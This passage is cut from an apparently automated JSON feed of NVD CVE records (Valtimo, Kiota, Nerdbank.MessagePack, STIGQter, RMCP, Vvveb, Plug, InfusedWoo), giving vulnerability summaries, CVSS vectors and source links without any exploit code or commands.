2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44516","cveId":"CVE-2026-44516","aliases":[],"kind":"vulnerability","title":"Valtimo is an open-source business process automation platform.","summary":"Valtimo is an open-source business process automation platform. From 12.4.0 to 12.33.0 and 13.26.0, the LoggingRestClientCustomizer in the web module automatically intercepts all outgoing HTTP calls made via Spring's RestClient and logs the full request body, response body, and response headers. When an error response is received, this information is included in the thrown HttpClientErrorException message, which is logged at ERROR level by Spring's default exception handling — regardless of the application's DEBUG log level setting. This vulnerability is fixed in 12.33.0 and 13.26.0.","detail":"Valtimo is an open-source business process automation platform. From 12.4.0 to 12.33.0 and 13.26.0, the LoggingRestClientCustomizer in the web module automatically intercepts all outgoing HTTP calls made via Spring's RestClient and logs the full request body, response body, and response headers. When an error response is received, this information is included in the thrown HttpClientErrorException message, which is logged at ERROR level by Spring's default exception handling — regardless of the application's DEBUG log level setting. This vulnerability is fixed in 12.33.0 and 13.26.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T17:16:23.363Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44516","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44516","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44516","type":"primary","publishedAt":"2026-05-14T17:16:23.363Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44503","cveId":"CVE-2026-44503","aliases":[],"kind":"vulnerability","title":"The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers...","summary":"The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.","detail":"The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T16:16:24.223Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Java"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44503","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44503","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44503","type":"primary","publishedAt":"2026-05-14T16:16:24.223Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44375","cveId":"CVE-2026-44375","aliases":[],"kind":"vulnerability","title":"Nerdbank.MessagePack is a NativeAOT-compatible MessagePack serialization library.","summary":"Nerdbank.MessagePack is a NativeAOT-compatible MessagePack serialization library. Prior to 1.1.62, Nerdbank.MessagePack contains an uncontrolled stack allocation vulnerability in DateTime decoding. A malicious MessagePack payload can declare an oversized timestamp extension length, causing the reader to allocate an attacker-controlled number of bytes on the stack. This can trigger a StackOverflowException, which is not catchable by user code and terminates the process. This vulnerability is fixed in 1.1.62.","detail":"Nerdbank.MessagePack is a NativeAOT-compatible MessagePack serialization library. Prior to 1.1.62, Nerdbank.MessagePack contains an uncontrolled stack allocation vulnerability in DateTime decoding. A malicious MessagePack payload can declare an oversized timestamp extension length, causing the reader to allocate an attacker-controlled number of bytes on the stack. This can trigger a StackOverflowException, which is not catchable by user code and terminates the process. This vulnerability is fixed in 1.1.62.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T15:16:48.383Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44375","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44375","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44375","type":"primary","publishedAt":"2026-05-14T15:16:48.383Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42881","cveId":"CVE-2026-42881","aliases":[],"kind":"vulnerability","title":"STIGQter is an open-source reimplementation of DISA's STIG Viewer.","summary":"STIGQter is an open-source reimplementation of DISA's STIG Viewer. From 0.1.2 to before 1.2.7, an attacker can achieve local code execution (LCE) with the privileges of the user running STIGQter. This requires user interaction: the victim must open the malicious .stigqter file and explicitly run the \"Export HTML\" action. This vulnerability is fixed in 1.2.7.","detail":"STIGQter is an open-source reimplementation of DISA's STIG Viewer. From 0.1.2 to before 1.2.7, an attacker can achieve local code execution (LCE) with the privileges of the user running STIGQter. This requires user interaction: the victim must open the malicious .stigqter file and explicitly run the \"Export HTML\" action. This vulnerability is fixed in 1.2.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T15:16:46.887Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42881","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42881","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42881","type":"primary","publishedAt":"2026-05-14T15:16:46.887Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42559","cveId":"CVE-2026-42559","aliases":[],"kind":"vulnerability","title":"RMCP is an official Rust SDK for the Model Context Protocol.","summary":"RMCP is an official Rust SDK for the Model Context Protocol. Prior to version 1.4.0, the rmcp crate's Streamable HTTP server transport (crates/rmcp/src/transport/streamable_http_server/) did not validate the incoming Host header. This allowed a malicious public website, via a DNS rebinding attack, to send authenticated requests to an MCP server running on the victim's loopback or private-network interface. This vulnerability is fixed in 1.4.0.","detail":"RMCP is an official Rust SDK for the Model Context Protocol. Prior to version 1.4.0, the rmcp crate's Streamable HTTP server transport (crates/rmcp/src/transport/streamable_http_server/) did not validate the incoming Host header. This allowed a malicious public website, via a DNS rebinding attack, to send authenticated requests to an MCP server running on the victim's loopback or private-network interface. This vulnerability is fixed in 1.4.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T15:16:46.750Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MCP servers and SDKs"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42559","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42559","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42559","type":"primary","publishedAt":"2026-05-14T15:16:46.750Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41937","cveId":"CVE-2026-41937","aliases":[],"kind":"vulnerability","title":"Vvveb before 1.0.8.3 contains an unrestricted file upload vulnerability in the plugin upload endpoint that allows super_admin users to execute arbitrary PHP code by uploading a...","summary":"Vvveb before 1.0.8.3 contains an unrestricted file upload vulnerability in the plugin upload endpoint that allows super_admin users to execute arbitrary PHP code by uploading a malicious plugin ZIP file. Attackers can craft a ZIP containing a plugin.php with a valid Slug header and a public/index.php file with arbitrary PHP code, which executes as the web server user once accessed via subsequent unauthenticated HTTP requests to the plugin's public path.","detail":"Vvveb before 1.0.8.3 contains an unrestricted file upload vulnerability in the plugin upload endpoint that allows super_admin users to execute arbitrary PHP code by uploading a malicious plugin ZIP file. Attackers can craft a ZIP containing a plugin.php with a valid Slug header and a public/index.php file with arbitrary PHP code, which executes as the web server user once accessed via subsequent unauthenticated HTTP requests to the plugin's public path.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T15:16:46.190Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41937","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41937","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41937","type":"primary","publishedAt":"2026-05-14T15:16:46.190Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41935","cveId":"CVE-2026-41935","aliases":[],"kind":"vulnerability","title":"Vvveb before 1.0.8.3 contains an uncontrolled recursion vulnerability in the admin controller dispatch cycle where Base::init() repeatedly invokes permission() on error handlers,...","summary":"Vvveb before 1.0.8.3 contains an uncontrolled recursion vulnerability in the admin controller dispatch cycle where Base::init() repeatedly invokes permission() on error handlers, causing infinite recursion until PHP memory limits are exhausted. Attackers can send sustained requests to forbidden admin URLs from a low-privilege account to exhaust PHP memory on all workers and cause denial of service to legitimate traffic.","detail":"Vvveb before 1.0.8.3 contains an uncontrolled recursion vulnerability in the admin controller dispatch cycle where Base::init() repeatedly invokes permission() on error handlers, causing infinite recursion until PHP memory limits are exhausted. Attackers can send sustained requests to forbidden admin URLs from a low-privilege account to exhaust PHP memory on all workers and cause denial of service to legitimate traffic.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T15:16:46.020Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41935","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41935","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41935","type":"primary","publishedAt":"2026-05-14T15:16:46.020Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8468","cveId":"CVE-2026-8468","aliases":[],"kind":"vulnerability","title":"Allocation of Resources Without Limits or Throttling vulnerability in plug_project plug allows denial of service via unbounded buffer accumulation in multipart header parsing.","summary":"Allocation of Resources Without Limits or Throttling vulnerability in plug_project plug allows denial of service via unbounded buffer accumulation in multipart header parsing.\n\n'Elixir.Plug.Conn':read_part_headers/2 in lib/plug/conn.ex does not obey its :length parameter. There is no upper bound on the size of the accumulated buffer. By contrast, the sibling function read_part_body has an explicit byte_size(acc) > length guard that stops accumulation once a limit is reached. No such guard exists in read_part_headers. An unauthenticated remote attacker can exhaust server memory by sending a crafted multipart/form-data request, causing a denial of service.\n\nThis issue affects plug from 1.4.0 before 1.15.4, 1.16.3, 1.17.1, 1.18.2, and 1.19.2.","detail":"Allocation of Resources Without Limits or Throttling vulnerability in plug_project plug allows denial of service via unbounded buffer accumulation in multipart header parsing.\n\n'Elixir.Plug.Conn':read_part_headers/2 in lib/plug/conn.ex does not obey its :length parameter. There is no upper bound on the size of the accumulated buffer. By contrast, the sibling function read_part_body has an explicit byte_size(acc) > length guard that stops accumulation once a limit is reached. No such guard exists in read_part_headers. An unauthenticated remote attacker can exhaust server memory by sending a crafted multipart/form-data request, causing a denial of service.\n\nThis issue affects plug from 1.4.0 before 1.15.4, 1.16.3, 1.17.1, 1.18.2, and 1.19.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T11:16:18.900Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8468","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8468","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8468","type":"primary","publishedAt":"2026-05-14T11:16:18.900Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6514","cveId":"CVE-2026-6514","aliases":[],"kind":"vulnerability","title":"The InfusedWoo Pro plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 5.1.2 via the popup_submit.","summary":"The InfusedWoo Pro plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 5.1.2 via the popup_submit. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.","detail":"The InfusedWoo Pro plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 5.1.2 via the popup_submit. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T09:16:28.023Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-6514","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-6514","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6514","type":"primary","publishedAt":"2026-05-14T09:16:28.023Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE 